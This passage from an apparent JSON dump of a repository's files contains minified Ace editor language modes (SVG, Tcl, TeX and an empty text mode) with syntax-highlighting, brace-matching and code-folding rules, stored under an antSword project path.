]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/svg_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./xml_highlight_rules\").XmlHighlightRules,o=function(){s.call(this),this.embedTagRules(i,\"js-\",\"script\"),this.normalizeRules()};r.inherits(o,s),t.SvgHighlightRules=o}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/svg\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/xml\",\"ace/mode/javascript\",\"ace/mode/svg_highlight_rules\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./xml\").Mode,s=e(\"./javascript\").Mode,o=e(\"./svg_highlight_rules\").SvgHighlightRules,u=e(\"./folding/mixed\").FoldMode,a=e(\"./folding/xml\").FoldMode,f=e(\"./folding/cstyle\").FoldMode,l=function(){i.call(this),this.HighlightRules=o,this.createModeDelegates({\"js-\":s}),this.foldingRules=new u(new a,{\"js-\":new f})};r.inherits(l,i),function(){this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.$id=\"ace/mode/svg\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-tcl.js",
    "content": "ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/tcl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"#.*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\"#.*$\"},{token:\"support.function\",regex:\"[\\\\\\\\]$\",next:\"splitlineStart\"},{token:\"text\",regex:'[\\\\\\\\](?:[\"]|[{]|[}]|[[]|[]]|[$]|[])'},{token:\"text\",regex:\"^|[^{][;][^}]|[/\\r/]\",next:\"commandItem\"},{token:\"string\",regex:'[ ]*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[ ]*[\"]',next:\"qqstring\"},{token:\"variable.instance\",regex:\"[$]\",next:\"variable\"},{token:\"support.function\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|{\\\\*}|;|::\"},{token:\"identifier\",regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"paren.lparen\",regex:\"[[{]\",next:\"commandItem\"},{token:\"paren.lparen\",regex:\"[(]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],commandItem:[{token:\"comment\",regex:\"#.*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\"#.*$\",next:\"start\"},{token:\"string\",regex:'[ ]*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"variable.instance\",regex:\"[$]\",next:\"variable\"},{token:\"support.function\",regex:\"(?:[:][:])[a-zA-Z0-9_/]+(?:[:][:])\",next:\"commandItem\"},{token:\"support.function\",regex:\"[a-zA-Z0-9_/]+(?:[:][:])\",next:\"commandItem\"},{token:\"support.function\",regex:\"(?:[:][:])\",next:\"commandItem\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"support.function\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|{\\\\*}|;|::\"},{token:\"keyword\",regex:\"[a-zA-Z0-9_/]+\",next:\"start\"}],commentfollow:[{token:\"comment\",regex:\".*\\\\\\\\$\",next:\"commentfollow\"},{token:\"comment\",regex:\".+\",next:\"start\"}],splitlineStart:[{token:\"text\",regex:\"^.\",next:\"start\"}],variable:[{token:\"variable.instance\",regex:\"[a-zA-Z_\\\\d]+(?:[(][a-zA-Z_\\\\d]+[)])?\",next:\"start\"},{token:\"variable.instance\",regex:\"{?[a-zA-Z_\\\\d]+}?\",next:\"start\"}],qqstring:[{token:\"string\",regex:'(?:[^\\\\\\\\]|\\\\\\\\.)*?[\"]',next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.TclHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/tcl\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/folding/cstyle\",\"ace/mode/tcl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./folding/cstyle\").FoldMode,o=e(\"./tcl_highlight_rules\").TclHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=e(\"../range\").Range,f=function(){this.HighlightRules=o,this.$outdent=new u,this.foldingRules=new s};r.inherits(f,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/tcl\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-tex.js",
    "content": "ace.define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/tex\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=e(\"./matching_brace_outdent\").MatchingBraceOutdent,a=function(e){e?this.HighlightRules=s:this.HighlightRules=o,this.$outdent=new u};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.allowAutoInsert=function(){return!1},this.$id=\"ace/mode/tex\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-text.js",
    "content": ""
  },
  {
    "path": "antSword/static/libs/ace/mode-textile.js",
